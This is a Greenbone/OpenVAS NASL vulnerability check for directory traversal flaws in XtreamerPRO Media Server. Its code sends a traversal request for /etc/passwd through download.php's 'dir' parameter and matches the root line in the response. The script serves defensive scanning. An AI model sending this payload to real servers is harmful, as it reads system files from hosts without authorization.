XtreamerPRO Media Server 'dir' Parameter Multiple Directory Traversal Vulnerabilities

# SPDX-FileCopyrightText: 2011 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.900286");
  script_version("2025-03-05T05:38:53+0000");
  script_tag(name:"last_modification", value:"2025-03-05 05:38:53 +0000 (Wed, 05 Mar 2025)");
  script_tag(name:"creation_date", value:"2011-05-26 10:47:46 +0200 (Thu, 26 May 2011)");
  script_tag(name:"cvss_base", value:"5.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:N/A:N");
  script_name("XtreamerPRO Media Server 'dir' Parameter Multiple Directory Traversal Vulnerabilities");
  script_xref(name:"URL", value:"http://www.exploit-db.com/exploits/17290/");
  script_xref(name:"URL", value:"http://packetstormsecurity.org/files/view/101476");

  script_tag(name:"qod_type", value:"remote_vul");
  script_category(ACT_ATTACK);
  script_copyright("Copyright (C) 2011 Greenbone AG");
  script_family("Web Servers");
  script_dependencies("find_service.nasl", "httpver.nasl", "webmirror.nasl", "DDI_Directory_Scanner.nasl", "os_detection.nasl", "global_settings.nasl");
  script_require_ports("Services/www", 80);
  script_mandatory_keys("Host/runs_unixoide");
  script_exclude_keys("Settings/disable_cgi_scanning");

  script_tag(name:"impact", value:"Successful exploitation will allow attackers to perform directory
  traversal attacks and read arbitrary files on the affected application.");

  script_tag(name:"affected", value:"XtreamerPRO Version 2.6.0, 2.7.0, Other versions may also be
  affected.");

  script_tag(name:"insight", value:"The flaws are due to input validation error in 'dir' parameter
  to 'download.php' and 'otherlist.php', which allows attackers to read arbitrary files via a /%2f.. sequences.");

  script_tag(name:"solution", value:"No known solution was made available for at least one year since the disclosure
  of this vulnerability. Likely none will be provided anymore. General solution options are to upgrade to a newer
  release, disable respective features, remove the product or replace the product by another one.");

  script_tag(name:"summary", value:"XtreamerPRO Media Server is prone to multiple directory traversal vulnerabilities.");

  script_tag(name:"solution_type", value:"WillNotFix");

  exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");
include("port_service_func.inc");

port = http_get_port(default:80);
if(!http_can_host_php(port:port))
  exit(0);

res = http_get_cache(item:"/login_form.php", port:port);

if(res =~ ">Copyright .*[0-9]{4} Xtreamer.net") {

  path = "/download.php?dir=/%2f../%2f../etc/&file=passwd";

  req = http_get(item:path, port:port);
  res = http_keepalive_send_recv(port:port, data:req, bodyonly:TRUE);

  if(egrep(pattern:".*root:.*:0:[01]:.*", string:res)){
    security_message(port);
  }
}